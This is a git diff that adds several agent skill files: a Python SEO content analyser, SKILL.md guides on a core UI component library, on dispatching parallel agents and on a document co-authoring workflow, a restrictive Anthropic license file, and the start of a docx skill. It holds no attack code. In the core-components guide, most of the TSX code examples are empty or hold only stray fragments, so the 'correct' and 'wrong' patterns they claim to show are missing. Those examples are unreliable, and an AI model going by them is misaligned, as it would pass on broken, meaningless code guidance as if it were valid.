@@ +#!/usr/bin/env python3 +""" +SEO Content Optimizer - Analyzes and optimizes content for SEO +""" + +import re +from typing import Dict, List, Set +import json + +class SEOOptimizer: + def __init__(self): + # Common stop words to filter + self.stop_words = { + 'the', 'a', 'an', 'and', 'or', 'but', 'in', 'on', 'at', 'to', 'for', + 'of', 'with', 'by', 'from', 'as', 'is', 'was', 'are', 'were', 'be', + 'been', 'being', 'have', 'has', 'had', 'do', 'does', 'did', 'will', + 'would', 'could', 'should', 'may', 'might', 'must', 'can', 'shall' + } + + # SEO best practices + self.best_practices = { + 'title_length': (50, 60), + 'meta_description_length': (150, 160), + 'url_length': (50, 60), + 'paragraph_length': (40, 150), + 'heading_keyword_placement': True, + 'keyword_density': (0.01, 0.03) # 1-3% + } + + def analyze(self, content: str, target_keyword: str = None, + secondary_keywords: List[str] = None) -> Dict: + """Analyze content for SEO optimization""" + + analysis = { + 'content_length': len(content.split()), + 'keyword_analysis': {}, + 'structure_analysis': self._analyze_structure(content), + 'readability': self._analyze_readability(content), + 'meta_suggestions': {}, + 'optimization_score': 0, + 'recommendations': [] + } + + # Keyword analysis + if target_keyword: + analysis['keyword_analysis'] = self._analyze_keywords( + content, target_keyword, secondary_keywords or [] + ) + + # Generate meta suggestions + analysis['meta_suggestions'] = self._generate_meta_suggestions( + content, target_keyword + ) + + # Calculate optimization score + analysis['optimization_score'] = self._calculate_seo_score(analysis) + + # Generate recommendations + analysis['recommendations'] = self._generate_recommendations(analysis) + + return analysis + + def _analyze_keywords(self, content: str, primary: str, + secondary: List[str]) -> Dict: + """Analyze keyword usage and density""" + content_lower = content.lower() + word_count = len(content.split()) + + results = { + 'primary_keyword': { + 'keyword': primary, + 'count': content_lower.count(primary.lower()), + 'density': 0, + 'in_title': False, + 'in_headings': False, + 'in_first_paragraph': False + }, + 'secondary_keywords': [], + 'lsi_keywords': [] + } + + # Calculate primary keyword metrics + if word_count > 0: + results['primary_keyword']['density'] = ( + results['primary_keyword']['count'] / word_count + ) + + # Check keyword placement + first_para = content.split('\n\n')[0] if '\n\n' in content else content[:200] + results['primary_keyword']['in_first_paragraph'] = ( + primary.lower() in first_para.lower() + ) + + # Analyze secondary keywords + for keyword in secondary: + count = content_lower.count(keyword.lower()) + results['secondary_keywords'].append({ + 'keyword': keyword, + 'count': count, + 'density': count / word_count if word_count > 0 else 0 + }) + + # Extract potential LSI keywords + results['lsi_keywords'] = self._extract_lsi_keywords(content, primary) + + return results + + def _analyze_structure(self, content: str) -> Dict: + """Analyze content structure for SEO""" + lines = content.split('\n') + + structure = { + 'headings': {'h1': 0, 'h2': 0, 'h3': 0, 'total': 0}, + 'paragraphs': 0, + 'lists': 0, + 'images': 0, + 'links': {'internal': 0, 'external': 0}, + 'avg_paragraph_length': 0 + } + + paragraphs = [] + current_para = [] + + for line in lines: + # Count headings + if line.startswith('# '): + structure['headings']['h1'] += 1 + structure['headings']['total'] += 1 + elif line.startswith('## '): + structure['headings']['h2'] += 1 + structure['headings']['total'] += 1 + elif line.startswith('### '): + structure['headings']['h3'] += 1 + structure['headings']['total'] += 1 + + # Count lists + if line.strip().startswith(('- ', '* ', '1. ')): + structure['lists'] += 1 + + # Count links + internal_links = len(re.findall(r'\[.*?\]\(/.*?\)', line)) + external_links = len(re.findall(r'\[.*?\]\(https?://.*?\)', line)) + structure['links']['internal'] += internal_links + structure['links']['external'] += external_links + + # Track paragraphs + if line.strip() and not line.startswith('#'): + current_para.append(line) + elif current_para: + paragraphs.append(' '.join(current_para)) + current_para = [] + + if current_para: + paragraphs.append(' '.join(current_para)) + + structure['paragraphs'] = len(paragraphs) + + if paragraphs: + avg_length = sum(len(p.split()) for p in paragraphs) / len(paragraphs) + structure['avg_paragraph_length'] = round(avg_length, 1) + + return structure + + def _analyze_readability(self, content: str) -> Dict: + """Analyze content readability""" + sentences = re.split(r'[.!?]+', content) + words = content.split() + + if not sentences or not words: + return {'score': 0, 'level': 'Unknown'} + + avg_sentence_length = len(words) / len(sentences) + + # Simple readability scoring + if avg_sentence_length < 15: + level = 'Easy' + score = 90 + elif avg_sentence_length < 20: + level = 'Moderate' + score = 70 + elif avg_sentence_length < 25: + level = 'Difficult' + score = 50 + else: + level = 'Very Difficult' + score = 30 + + return { + 'score': score, + 'level': level, + 'avg_sentence_length': round(avg_sentence_length, 1) + } + + def _extract_lsi_keywords(self, content: str, primary_keyword: str) -> List[str]: + """Extract potential LSI (semantically related) keywords""" + words = re.findall(r'\b[a-z]+\b', content.lower()) + word_freq = {} + + # Count word frequencies + for word in words: + if word not in self.stop_words and len(word) > 3: + word_freq[word] = word_freq.get(word, 0) + 1 + + # Sort by frequency and return top related terms + sorted_words = sorted(word_freq.items(), key=lambda x: x[1], reverse=True) + + # Filter out the primary keyword and return top 10 + lsi_keywords = [] + for word, count in sorted_words: + if word != primary_keyword.lower() and count > 1: + lsi_keywords.append(word) + if len(lsi_keywords) >= 10: + break + + return lsi_keywords + + def _generate_meta_suggestions(self, content: str, keyword: str = None) -> Dict: + """Generate SEO meta tag suggestions""" + # Extract first sentence for description base + sentences = re.split(r'[.!?]+', content) + first_sentence = sentences[0] if sentences else content[:160] + + suggestions = { + 'title': '', + 'meta_description': '', + 'url_slug': '', + 'og_title': '', + 'og_description': '' + } + + if keyword: + # Title suggestion + suggestions['title'] = f"{keyword.title()} - Complete Guide" + if len(suggestions['title']) > 60: + suggestions['title'] = keyword.title()[:57] + "..." + + # Meta description + desc_base = f"Learn everything about {keyword}. {first_sentence}" + if len(desc_base) > 160: + desc_base = desc_base[:157] + "..." + suggestions['meta_description'] = desc_base + + # URL slug + suggestions['url_slug'] = re.sub(r'[^a-z0-9-]+', '-', + keyword.lower()).strip('-') + + # Open Graph tags + suggestions['og_title'] = suggestions['title'] + suggestions['og_description'] = suggestions['meta_description'] + + return suggestions + + def _calculate_seo_score(self, analysis: Dict) -> int: + """Calculate overall SEO optimization score""" + score = 0 + max_score = 100 + + # Content length scoring (20 points) + if 300 <= analysis['content_length'] <= 2500: + score += 20 + elif 200 <= analysis['content_length'] < 300: + score += 10 + elif analysis['content_length'] > 2500: + score += 15 + + # Keyword optimization (30 points) + if analysis['keyword_analysis']: + kw_data = analysis['keyword_analysis']['primary_keyword'] + + # Density scoring + if 0.01 <= kw_data['density'] <= 0.03: + score += 15 + elif 0.005 <= kw_data['density'] < 0.01: + score += 8 + + # Placement scoring + if kw_data['in_first_paragraph']: + score += 10 + if kw_data.get('in_headings'): + score += 5 + + # Structure scoring (25 points) + struct = analysis['structure_analysis'] + if struct['headings']['total'] > 0: + score += 10 + if struct['paragraphs'] >= 3: + score += 10 + if struct['links']['internal'] > 0 or struct['links']['external'] > 0: + score += 5 + + # Readability scoring (25 points) + readability_score = analysis['readability']['score'] + score += int(readability_score * 0.25) + + return min(score, max_score) + + def _generate_recommendations(self, analysis: Dict) -> List[str]: + """Generate SEO improvement recommendations""" + recommendations = [] + + # Content length recommendations + if analysis['content_length'] < 300: + recommendations.append( + f"Increase content length to at least 300 words (currently {analysis['content_length']})" + ) + elif analysis['content_length'] > 3000: + recommendations.append( + "Consider breaking long content into multiple pages or adding a table of contents" + ) + + # Keyword recommendations + if analysis['keyword_analysis']: + kw_data = analysis['keyword_analysis']['primary_keyword'] + + if kw_data['density'] < 0.01: + recommendations.append( + f"Increase keyword density for '{kw_data['keyword']}' (currently {kw_data['density']:.2%})" + ) + elif kw_data['density'] > 0.03: + recommendations.append( + f"Reduce keyword density to avoid over-optimization (currently {kw_data['density']:.2%})" + ) + + if not kw_data['in_first_paragraph']: + recommendations.append( + "Include primary keyword in the first paragraph" + ) + + # Structure recommendations + struct = analysis['structure_analysis'] + if struct['headings']['total'] == 0: + recommendations.append("Add headings (H1, H2, H3) to improve content structure") + if struct['links']['internal'] == 0: + recommendations.append("Add internal links to related content") + if struct['avg_paragraph_length'] > 150: + recommendations.append("Break up long paragraphs for better readability") + + # Readability recommendations + if analysis['readability']['avg_sentence_length'] > 20: + recommendations.append("Simplify sentences for better readability") + + return recommendations + +def optimize_content(content: str, keyword: str = None, + secondary_keywords: List[str] = None) -> str: + """Main function to optimize content""" + optimizer = SEOOptimizer() + + # Parse secondary keywords from comma-separated string if provided + if secondary_keywords and isinstance(secondary_keywords, str): + secondary_keywords = [kw.strip() for kw in secondary_keywords.split(',')] + + results = optimizer.analyze(content, keyword, secondary_keywords) + + # Format output + output = [ + "=== SEO Content Analysis ===", + f"Overall SEO Score: {results['optimization_score']}/100", + f"Content Length: {results['content_length']} words", + f"", + "Content Structure:", + f" Headings: {results['structure_analysis']['headings']['total']}", + f" Paragraphs: {results['structure_analysis']['paragraphs']}", + f" Avg Paragraph Length: {results['structure_analysis']['avg_paragraph_length']} words", + f" Internal Links: {results['structure_analysis']['links']['internal']}", + f" External Links: {results['structure_analysis']['links']['external']}", + f"", + f"Readability: {results['readability']['level']} (Score: {results['readability']['score']})", + f"" + ] + + if results['keyword_analysis']: + kw = results['keyword_analysis']['primary_keyword'] + output.extend([ + "Keyword Analysis:", + f" Primary Keyword: {kw['keyword']}", + f" Count: {kw['count']}", + f" Density: {kw['density']:.2%}", + f" In First Paragraph: {'Yes' if kw['in_first_paragraph'] else 'No'}", + f"" + ]) + + if results['keyword_analysis']['lsi_keywords']: + output.append(" Related Keywords Found:") + for lsi in results['keyword_analysis']['lsi_keywords'][:5]: + output.append(f" • {lsi}") + output.append("") + + if results['meta_suggestions']: + output.extend([ + "Meta Tag Suggestions:", + f" Title: {results['meta_suggestions']['title']}", + f" Description: {results['meta_suggestions']['meta_description']}", + f" URL Slug: {results['meta_suggestions']['url_slug']}", + f"" + ]) + + output.extend([ + "Recommendations:", + ]) + + for rec in results['recommendations']: + output.append(f" • {rec}") + + return '\n'.join(output) + +if __name__ == "__main__": + import sys + + if len(sys.argv) > 1: + with open(sys.argv[1], 'r') as f: + content = f.read() + + keyword = sys.argv[2] if len(sys.argv) > 2 else None + secondary = sys.argv[3] if len(sys.argv) > 3 else None + + print(optimize_content(content, keyword, secondary)) + else: + print("Usage: python seo_optimizer.py [primary_keyword] [secondary_keywords]") diff --git a/skills/core-components/SKILL.md b/skills/core-components/SKILL.md new file mode 100644 index 00000000..eb54e7ce --- /dev/null +++ b/skills/core-components/SKILL.md @@ -0,0 +1,264 @@ +--- +name: core-components +description: Core component library and design system patterns. Use when building UI, using design tokens, or working with the component library. +--- + +# Core Components + +## Design System Overview + +Use components from your core library instead of raw platform components. This ensures consistent styling and behavior. + +## Design Tokens + +**NEVER hard-code values. Always use design tokens.** + +### Spacing Tokens + +```tsx +// CORRECT - Use tokens + + +// WRONG - Hard-coded values + +``` + +| Token | Value | +|-------|-------| +| `$1` | 4px | +| `$2` | 8px | +| `$3` | 12px | +| `$4` | 16px | +| `$6` | 24px | +| `$8` | 32px | + +### Color Tokens + +```tsx +// CORRECT - Semantic tokens + + + +// WRONG - Hard-coded colors + + +``` + +| Semantic Token | Use For | +|----------------|---------| +| `$textPrimary` | Main text | +| `$textSecondary` | Supporting text | +| `$textTertiary` | Disabled/hint text | +| `$primary500` | Brand/accent color | +| `$statusError` | Error states | +| `$statusSuccess` | Success states | + +### Typography Tokens + +```tsx + +``` + +| Token | Size | +|-------|------| +| `$xs` | 12px | +| `$sm` | 14px | +| `$md` | 16px | +| `$lg` | 18px | +| `$xl` | 20px | +| `$2xl` | 24px | + +## Core Components + +### Box + +Base layout component with token support: + +```tsx + + {children} + +``` + +### HStack / VStack + +Horizontal and vertical flex layouts: + +```tsx + + + Username + + + + Title + Content + +``` + +### Text + +Typography with token support: + +```tsx + + Hello World + +``` + +### Button + +Interactive button with variants: + +```tsx + +``` + +| Variant | Use For | +|---------|---------| +| `solid` | Primary actions | +| `outline` | Secondary actions | +| `ghost` | Tertiary/subtle actions | +| `link` | Inline actions | + +### Input + +Form input with validation: + +```tsx + +``` + +### Card + +Content container: + +```tsx + + + Card Title + + + Card content + + +``` + +## Layout Patterns + +### Screen Layout + +```tsx +const MyScreen = () => ( + + + + {/* Content */} + + +); +``` + +### Form Layout + +```tsx + + + + + +``` + +### List Item Layout + +```tsx + + + + {title} + {subtitle} + + + +``` + +## Anti-Patterns + +```tsx +// WRONG - Hard-coded values + + +// CORRECT - Design tokens + + + +// WRONG - Raw platform components +import { View, Text } from 'react-native'; + +// CORRECT - Core components +import { Box, Text } from 'components/core'; + + +// WRONG - Inline styles + + +// CORRECT - Token props + +``` + +## Component Props Pattern + +When creating components, use token-based props: + +```tsx +interface CardProps { + padding?: '$2' | '$4' | '$6'; + variant?: 'elevated' | 'outlined' | 'filled'; + children: React.ReactNode; +} + +const Card = ({ padding = '$4', variant = 'elevated', children }: CardProps) => ( + + {children} + +); +``` + +## Integration with Other Skills + +- **react-ui-patterns**: Use core components for UI states +- **testing-patterns**: Mock core components in tests +- **storybook**: Document component variants diff --git a/skills/dispatching-parallel-agents/SKILL.md b/skills/dispatching-parallel-agents/SKILL.md new file mode 100644 index 00000000..33b14859 --- /dev/null +++ b/skills/dispatching-parallel-agents/SKILL.md @@ -0,0 +1,180 @@ +--- +name: dispatching-parallel-agents +description: Use when facing 2+ independent tasks that can be worked on without shared state or sequential dependencies +--- + +# Dispatching Parallel Agents + +## Overview + +When you have multiple unrelated failures (different test files, different subsystems, different bugs), investigating them sequentially wastes time. Each investigation is independent and can happen in parallel. + +**Core principle:** Dispatch one agent per independent problem domain. Let them work concurrently. + +## When to Use + +```dot +digraph when_to_use { + "Multiple failures?" [shape=diamond]; + "Are they independent?" [shape=diamond]; + "Single agent investigates all" [shape=box]; + "One agent per problem domain" [shape=box]; + "Can they work in parallel?" [shape=diamond]; + "Sequential agents" [shape=box]; + "Parallel dispatch" [shape=box]; + + "Multiple failures?" -> "Are they independent?" [label="yes"]; + "Are they independent?" -> "Single agent investigates all" [label="no - related"]; + "Are they independent?" -> "Can they work in parallel?" [label="yes"]; + "Can they work in parallel?" -> "Parallel dispatch" [label="yes"]; + "Can they work in parallel?" -> "Sequential agents" [label="no - shared state"]; +} +``` + +**Use when:** +- 3+ test files failing with different root causes +- Multiple subsystems broken independently +- Each problem can be understood without context from others +- No shared state between investigations + +**Don't use when:** +- Failures are related (fix one might fix others) +- Need to understand full system state +- Agents would interfere with each other + +## The Pattern + +### 1. Identify Independent Domains + +Group failures by what's broken: +- File A tests: Tool approval flow +- File B tests: Batch completion behavior +- File C tests: Abort functionality + +Each domain is independent - fixing tool approval doesn't affect abort tests. + +### 2. Create Focused Agent Tasks + +Each agent gets: +- **Specific scope:** One test file or subsystem +- **Clear goal:** Make these tests pass +- **Constraints:** Don't change other code +- **Expected output:** Summary of what you found and fixed + +### 3. Dispatch in Parallel + +```typescript +// In Claude Code / AI environment +Task("Fix agent-tool-abort.test.ts failures") +Task("Fix batch-completion-behavior.test.ts failures") +Task("Fix tool-approval-race-conditions.test.ts failures") +// All three run concurrently +``` + +### 4. Review and Integrate + +When agents return: +- Read each summary +- Verify fixes don't conflict +- Run full test suite +- Integrate all changes + +## Agent Prompt Structure + +Good agent prompts are: +1. **Focused** - One clear problem domain +2. **Self-contained** - All context needed to understand the problem +3. **Specific about output** - What should the agent return? + +```markdown +Fix the 3 failing tests in src/agents/agent-tool-abort.test.ts: + +1. "should abort tool with partial output capture" - expects 'interrupted at' in message +2. "should handle mixed completed and aborted tools" - fast tool aborted instead of completed +3. "should properly track pendingToolCount" - expects 3 results but gets 0 + +These are timing/race condition issues. Your task: + +1. Read the test file and understand what each test verifies +2. Identify root cause - timing issues or actual bugs? +3. Fix by: + - Replacing arbitrary timeouts with event-based waiting + - Fixing bugs in abort implementation if found + - Adjusting test expectations if testing changed behavior + +Do NOT just increase timeouts - find the real issue. + +Return: Summary of what you found and what you fixed. +``` + +## Common Mistakes + +**❌ Too broad:** "Fix all the tests" - agent gets lost +**✅ Specific:** "Fix agent-tool-abort.test.ts" - focused scope + +**❌ No context:** "Fix the race condition" - agent doesn't know where +**✅ Context:** Paste the error messages and test names + +**❌ No constraints:** Agent might refactor everything +**✅ Constraints:** "Do NOT change production code" or "Fix tests only" + +**❌ Vague output:** "Fix it" - you don't know what changed +**✅ Specific:** "Return summary of root cause and changes" + +## When NOT to Use + +**Related failures:** Fixing one might fix others - investigate together first +**Need full context:** Understanding requires seeing entire system +**Exploratory debugging:** You don't know what's broken yet +**Shared state:** Agents would interfere (editing same files, using same resources) + +## Real Example from Session + +**Scenario:** 6 test failures across 3 files after major refactoring + +**Failures:** +- agent-tool-abort.test.ts: 3 failures (timing issues) +- batch-completion-behavior.test.ts: 2 failures (tools not executing) +- tool-approval-race-conditions.test.ts: 1 failure (execution count = 0) + +**Decision:** Independent domains - abort logic separate from batch completion separate from race conditions + +**Dispatch:** +``` +Agent 1 → Fix agent-tool-abort.test.ts +Agent 2 → Fix batch-completion-behavior.test.ts +Agent 3 → Fix tool-approval-race-conditions.test.ts +``` + +**Results:** +- Agent 1: Replaced timeouts with event-based waiting +- Agent 2: Fixed event structure bug (threadId in wrong place) +- Agent 3: Added wait for async tool execution to complete + +**Integration:** All fixes independent, no conflicts, full suite green + +**Time saved:** 3 problems solved in parallel vs sequentially + +## Key Benefits + +1. **Parallelization** - Multiple investigations happen simultaneously +2. **Focus** - Each agent has narrow scope, less context to track +3. **Independence** - Agents don't interfere with each other +4. **Speed** - 3 problems solved in time of 1 + +## Verification + +After agents return: +1. **Review each summary** - Understand what changed +2. **Check for conflicts** - Did agents edit same code? +3. **Run full suite** - Verify all fixes work together +4. **Spot check** - Agents can make systematic errors + +## Real-World Impact + +From debugging session (2025-10-03): +- 6 failures across 3 files +- 3 agents dispatched in parallel +- All investigations completed concurrently +- All fixes integrated successfully +- Zero conflicts between agent changes diff --git a/skills/doc-coauthoring/SKILL.md b/skills/doc-coauthoring/SKILL.md new file mode 100644 index 00000000..a5a69839 --- /dev/null +++ b/skills/doc-coauthoring/SKILL.md @@ -0,0 +1,375 @@ +--- +name: doc-coauthoring +description: Guide users through a structured workflow for co-authoring documentation. Use when user wants to write documentation, proposals, technical specs, decision docs, or similar structured content. This workflow helps users efficiently transfer context, refine content through iteration, and verify the doc works for readers. Trigger when user mentions writing docs, creating proposals, drafting specs, or similar documentation tasks. +--- + +# Doc Co-Authoring Workflow + +This skill provides a structured workflow for guiding users through collaborative document creation. Act as an active guide, walking users through three stages: Context Gathering, Refinement & Structure, and Reader Testing. + +## When to Offer This Workflow + +**Trigger conditions:** +- User mentions writing documentation: "write a doc", "draft a proposal", "create a spec", "write up" +- User mentions specific doc types: "PRD", "design doc", "decision doc", "RFC" +- User seems to be starting a substantial writing task + +**Initial offer:** +Offer the user a structured workflow for co-authoring the document. Explain the three stages: + +1. **Context Gathering**: User provides all relevant context while Claude asks clarifying questions +2. **Refinement & Structure**: Iteratively build each section through brainstorming and editing +3. **Reader Testing**: Test the doc with a fresh Claude (no context) to catch blind spots before others read it + +Explain that this approach helps ensure the doc works well when others read it (including when they paste it into Claude). Ask if they want to try this workflow or prefer to work freeform. + +If user declines, work freeform. If user accepts, proceed to Stage 1. + +## Stage 1: Context Gathering + +**Goal:** Close the gap between what the user knows and what Claude knows, enabling smart guidance later. + +### Initial Questions + +Start by asking the user for meta-context about the document: + +1. What type of document is this? (e.g., technical spec, decision doc, proposal) +2. Who's the primary audience? +3. What's the desired impact when someone reads this? +4. Is there a template or specific format to follow? +5. Any other constraints or context to know? + +Inform them they can answer in shorthand or dump information however works best for them. + +**If user provides a template or mentions a doc type:** +- Ask if they have a template document to share +- If they provide a link to a shared document, use the appropriate integration to fetch it +- If they provide a file, read it + +**If user mentions editing an existing shared document:** +- Use the appropriate integration to read the current state +- Check for images without alt-text +- If images exist without alt-text, explain that when others use Claude to understand the doc, Claude won't be able to see them. Ask if they want alt-text generated. If so, request they paste each image into chat for descriptive alt-text generation. + +### Info Dumping + +Once initial questions are answered, encourage the user to dump all the context they have. Request information such as: +- Background on the project/problem +- Related team discussions or shared documents +- Why alternative solutions aren't being used +- Organizational context (team dynamics, past incidents, politics) +- Timeline pressures or constraints +- Technical architecture or dependencies +- Stakeholder concerns + +Advise them not to worry about organizing it - just get it all out. Offer multiple ways to provide context: +- Info dump stream-of-consciousness +- Point to team channels or threads to read +- Link to shared documents + +**If integrations are available** (e.g., Slack, Teams, Google Drive, SharePoint, or other MCP servers), mention that these can be used to pull in context directly. + +**If no integrations are detected and in Claude.ai or Claude app:** Suggest they can enable connectors in their Claude settings to allow pulling context from messaging apps and document storage directly. + +Inform them clarifying questions will be asked once they've done their initial dump. + +**During context gathering:** + +- If user mentions team channels or shared documents: + - If integrations available: Inform them the content will be read now, then use the appropriate integration + - If integrations not available: Explain lack of access. Suggest they enable connectors in Claude settings, or paste the relevant content directly. + +- If user mentions entities/projects that are unknown: + - Ask if connected tools should be searched to learn more + - Wait for user confirmation before searching + +- As user provides context, track what's being learned and what's still unclear + +**Asking clarifying questions:** + +When user signals they've done their initial dump (or after substantial context provided), ask clarifying questions to ensure understanding: + +Generate 5-10 numbered questions based on gaps in the context. + +Inform them they can use shorthand to answer (e.g., "1: yes, 2: see #channel, 3: no because backwards compat"), link to more docs, point to channels to read, or just keep info-dumping. Whatever's most efficient for them. + +**Exit condition:** +Sufficient context has been gathered when questions show understanding - when edge cases and trade-offs can be asked about without needing basics explained. + +**Transition:** +Ask if there's any more context they want to provide at this stage, or if it's time to move on to drafting the document. + +If user wants to add more, let them. When ready, proceed to Stage 2. + +## Stage 2: Refinement & Structure + +**Goal:** Build the document section by section through brainstorming, curation, and iterative refinement. + +**Instructions to user:** +Explain that the document will be built section by section. For each section: +1. Clarifying questions will be asked about what to include +2. 5-20 options will be brainstormed +3. User will indicate what to keep/remove/combine +4. The section will be drafted +5. It will be refined through surgical edits + +Start with whichever section has the most unknowns (usually the core decision/proposal), then work through the rest. + +**Section ordering:** + +If the document structure is clear: +Ask which section they'd like to start with. + +Suggest starting with whichever section has the most unknowns. For decision docs, that's usually the core proposal. For specs, it's typically the technical approach. Summary sections are best left for last. + +If user doesn't know what sections they need: +Based on the type of document and template, suggest 3-5 sections appropriate for the doc type. + +Ask if this structure works, or if they want to adjust it. + +**Once structure is agreed:** + +Create the initial document structure with placeholder text for all sections. + +**If access to artifacts is available:** +Use `create_file` to create an artifact. This gives both Claude and the user a scaffold to work from. + +Inform them that the initial structure with placeholders for all sections will be created. + +Create artifact with all section headers and brief placeholder text like "[To be written]" or "[Content here]". + +Provide the scaffold link and indicate it's time to fill in each section. + +**If no access to artifacts:** +Create a markdown file in the working directory. Name it appropriately (e.g., `decision-doc.md`, `technical-spec.md`). + +Inform them that the initial structure with placeholders for all sections will be created. + +Create file with all section headers and placeholder text. + +Confirm the filename has been created and indicate it's time to fill in each section. + +**For each section:** + +### Step 1: Clarifying Questions + +Announce work will begin on the [SECTION NAME] section. Ask 5-10 clarifying questions about what should be included: + +Generate 5-10 specific questions based on context and section purpose. + +Inform them they can answer in shorthand or just indicate what's important to cover. + +### Step 2: Brainstorming + +For the [SECTION NAME] section, brainstorm [5-20] things that might be included, depending on the section's complexity. Look for: +- Context shared that might have been forgotten +- Angles or considerations not yet mentioned + +Generate 5-20 numbered options based on section complexity. At the end, offer to brainstorm more if they want additional options. + +### Step 3: Curation + +Ask which points should be kept, removed, or combined. Request brief justifications to help learn priorities for the next sections. + +Provide examples: +- "Keep 1,4,7,9" +- "Remove 3 (duplicates 1)" +- "Remove 6 (audience already knows this)" +- "Combine 11 and 12" + +**If user gives freeform feedback** (e.g., "looks good" or "I like most of it but...") instead of numbered selections, extract their preferences and proceed. Parse what they want kept/removed/changed and apply it. + +### Step 4: Gap Check + +Based on what they've selected, ask if there's anything important missing for the [SECTION NAME] section. + +### Step 5: Drafting + +Use `str_replace` to replace the placeholder text for this section with the actual drafted content. + +Announce the [SECTION NAME] section will be drafted now based on what they've selected. + +**If using artifacts:** +After drafting, provide a link to the artifact. + +Ask them to read through it and indicate what to change. Note that being specific helps learning for the next sections. + +**If using a file (no artifacts):** +After drafting, confirm completion. + +Inform them the [SECTION NAME] section has been drafted in [filename]. Ask them to read through it and indicate what to change. Note that being specific helps learning for the next sections. + +**Key instruction for user (include when drafting the first section):** +Provide a note: Instead of editing the doc directly, ask them to indicate what to change. This helps learning of their style for future sections. For example: "Remove the X bullet - already covered by Y" or "Make the third paragraph more concise". + +### Step 6: Iterative Refinement + +As user provides feedback: +- Use `str_replace` to make edits (never reprint the whole doc) +- **If using artifacts:** Provide link to artifact after each edit +- **If using files:** Just confirm edits are complete +- If user edits doc directly and asks to read it: mentally note the changes they made and keep them in mind for future sections (this shows their preferences) + +**Continue iterating** until user is satisfied with the section. + +### Quality Checking + +After 3 consecutive iterations with no substantial changes, ask if anything can be removed without losing important information. + +When section is done, confirm [SECTION NAME] is complete. Ask if ready to move to the next section. + +**Repeat for all sections.** + +### Near Completion + +As approaching completion (80%+ of sections done), announce intention to re-read the entire document and check for: +- Flow and consistency across sections +- Redundancy or contradictions +- Anything that feels like "slop" or generic filler +- Whether every sentence carries weight + +Read entire document and provide feedback. + +**When all sections are drafted and refined:** +Announce all sections are drafted. Indicate intention to review the complete document one more time. + +Review for overall coherence, flow, completeness. + +Provide any final suggestions. + +Ask if ready to move to Reader Testing, or if they want to refine anything else. + +## Stage 3: Reader Testing + +**Goal:** Test the document with a fresh Claude (no context bleed) to verify it works for readers. + +**Instructions to user:** +Explain that testing will now occur to see if the document actually works for readers. This catches blind spots - things that make sense to the authors but might confuse others. + +### Testing Approach + +**If access to sub-agents is available (e.g., in Claude Code):** + +Perform the testing directly without user involvement. + +### Step 1: Predict Reader Questions + +Announce intention to predict what questions readers might ask when trying to discover this document. + +Generate 5-10 questions that readers would realistically ask. + +### Step 2: Test with Sub-Agent + +Announce that these questions will be tested with a fresh Claude instance (no context from this conversation). + +For each question, invoke a sub-agent with just the document content and the question. + +Summarize what Reader Claude got right/wrong for each question. + +### Step 3: Run Additional Checks + +Announce additional checks will be performed. + +Invoke sub-agent to check for ambiguity, false assumptions, contradictions. + +Summarize any issues found. + +### Step 4: Report and Fix + +If issues found: +Report that Reader Claude struggled with specific issues. + +List the specific issues. + +Indicate intention to fix these gaps. + +Loop back to refinement for problematic sections. + +--- + +**If no access to sub-agents (e.g., claude.ai web interface):** + +The user will need to do the testing manually. + +### Step 1: Predict Reader Questions + +Ask what questions people might ask when trying to discover this document. What would they type into Claude.ai? + +Generate 5-10 questions that readers would realistically ask. + +### Step 2: Setup Testing + +Provide testing instructions: +1. Open a fresh Claude conversation: https://claude.ai +2. Paste or share the document content (if using a shared doc platform with connectors enabled, provide the link) +3. Ask Reader Claude the generated questions + +For each question, instruct Reader Claude to provide: +- The answer +- Whether anything was ambiguous or unclear +- What knowledge/context the doc assumes is already known + +Check if Reader Claude gives correct answers or misinterprets anything. + +### Step 3: Additional Checks + +Also ask Reader Claude: +- "What in this doc might be ambiguous or unclear to readers?" +- "What knowledge or context does this doc assume readers already have?" +- "Are there any internal contradictions or inconsistencies?" + +### Step 4: Iterate Based on Results + +Ask what Reader Claude got wrong or struggled with. Indicate intention to fix those gaps. + +Loop back to refinement for any problematic sections. + +--- + +### Exit Condition (Both Approaches) + +When Reader Claude consistently answers questions correctly and doesn't surface new gaps or ambiguities, the doc is ready. + +## Final Review + +When Reader Testing passes: +Announce the doc has passed Reader Claude testing. Before completion: + +1. Recommend they do a final read-through themselves - they own this document and are responsible for its quality +2. Suggest double-checking any facts, links, or technical details +3. Ask them to verify it achieves the impact they wanted + +Ask if they want one more review, or if the work is done. + +**If user wants final review, provide it. Otherwise:** +Announce document completion. Provide a few final tips: +- Consider linking this conversation in an appendix so readers can see how the doc was developed +- Use appendices to provide depth without bloating the main doc +- Update the doc as feedback is received from real readers + +## Tips for Effective Guidance + +**Tone:** +- Be direct and procedural +- Explain rationale briefly when it affects user behavior +- Don't try to "sell" the approach - just execute it + +**Handling Deviations:** +- If user wants to skip a stage: Ask if they want to skip this and write freeform +- If user seems frustrated: Acknowledge this is taking longer than expected. Suggest ways to move faster +- Always give user agency to adjust the process + +**Context Management:** +- Throughout, if context is missing on something mentioned, proactively ask +- Don't let gaps accumulate - address them as they come up + +**Artifact Management:** +- Use `create_file` for drafting full sections +- Use `str_replace` for all edits +- Provide artifact link after every change +- Never use artifacts for brainstorming lists - that's just conversation + +**Quality over Speed:** +- Don't rush through stages +- Each iteration should make meaningful improvements +- The goal is a document that actually works for readers diff --git a/skills/docx/LICENSE.txt b/skills/docx/LICENSE.txt new file mode 100644 index 00000000..c55ab422 --- /dev/null +++ b/skills/docx/LICENSE.txt @@ -0,0 +1,30 @@ +© 2025 Anthropic, PBC. All rights reserved. + +LICENSE: Use of these materials (including all code, prompts, assets, files, +and other components of this Skill) is governed by your agreement with +Anthropic regarding use of Anthropic's services. If no separate agreement +exists, use is governed by Anthropic's Consumer Terms of Service or +Commercial Terms of Service, as applicable: +https://www.anthropic.com/legal/consumer-terms +https://www.anthropic.com/legal/commercial-terms +Your applicable agreement is referred to as the "Agreement." "Services" are +as defined in the Agreement. + +ADDITIONAL RESTRICTIONS: Notwithstanding anything in the Agreement to the +contrary, users may not: + +- Extract these materials from the Services or retain copies of these + materials outside the Services +- Reproduce or copy these materials, except for temporary copies created + automatically during authorized use of the Services +- Create derivative works based on these materials +- Distribute, sublicense, or transfer these materials to any third party +- Make, offer to sell, sell, or import any inventions embodied in these + materials +- Reverse engineer, decompile, or disassemble these materials + +The receipt, viewing, or possession of these materials does not convey or +imply any license or right beyond those expressly granted above. + +Anthropic retains all right, title, and interest in these materials, +including all copyrights, patents, and other intellectual property rights. diff --git a/skills/docx/SKILL.md b/skills/docx/SKILL.md new file mode 100644 index 00000000..66466389 --- /dev/null +++ b/skills/docx/SKILL.md @@ -0,0 +1,197 @@ +--- +name: 